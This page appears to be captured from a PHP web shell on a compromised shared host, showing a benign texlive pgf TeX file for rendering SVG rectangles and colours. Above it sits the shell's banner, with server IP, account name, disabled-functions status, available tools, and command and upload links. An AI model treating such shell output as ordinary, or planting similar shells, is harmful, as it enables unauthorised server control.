Server IP : 111.118.215.189 / Your IP : 216.73.216.27 Web Server : Apache System : Linux md-in-83.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : a1673wkz ( 2475) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /usr/share/texlive/texmf-dist/tex/generic/pgf/frontendlayer/svg/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
\DeclareNamespace{svg}{http://www.w3.org/2000/svg} \XMLelement{svg:svg}{ } {\begin{pgfpicture} \pgfsetyvec{\pgfpoint{0cm}{-1cm}}} {\end{pgfpicture}} \XMLelement{svg:rect}{ \XMLattribute{width}{\svgwidth}{0} \XMLattribute{height}{\svgheight}{0} \XMLattribute{x}{\svgx}{0} \XMLattribute{y}{\svgy}{0} \XMLattribute{fill}{\svgfill}{x000} } { \expandafter\svgparsefill\svgfill \pgfsetfillcolor{mycol} \pgfpathrectangle{\pgfpointxy{\svgx}{\svgy}}{\pgfpointxy{\svgwidth}{\svgheight}} \pgfusepath{fill}} {} \gdef\svgparsefill#1#2#3#4{% \pgfmathparse{\csname tonum#2\endcsname/16} \let\myred=\pgfmathresult \pgfmathparse{\csname tonum#3\endcsname/16} \let\mygreen=\pgfmathresult \pgfmathparse{\csname tonum#4\endcsname/16} \let\myblue=\pgfmathresult \definecolor{mycol}{rgb}{\myred,\mygreen,\myblue} } \expandafter\gdef\csname tonum0\endcsname{0} \expandafter\gdef\csname tonum1\endcsname{1} \expandafter\gdef\csname tonum2\endcsname{2} \expandafter\gdef\csname tonum3\endcsname{3} \expandafter\gdef\csname tonum4\endcsname{4} \expandafter\gdef\csname tonum5\endcsname{5} \expandafter\gdef\csname tonum6\endcsname{6} \expandafter\gdef\csname tonum7\endcsname{7} \expandafter\gdef\csname tonum8\endcsname{8} \expandafter\gdef\csname tonum9\endcsname{9} \expandafter\gdef\csname tonuma\endcsname{10} \expandafter\gdef\csname tonumb\endcsname{11} \expandafter\gdef\csname tonumc\endcsname{12} \expandafter\gdef\csname tonumd\endcsname{13} \expandafter\gdef\csname tonume\endcsname{14} \expandafter\gdef\csname tonumf\endcsname{15}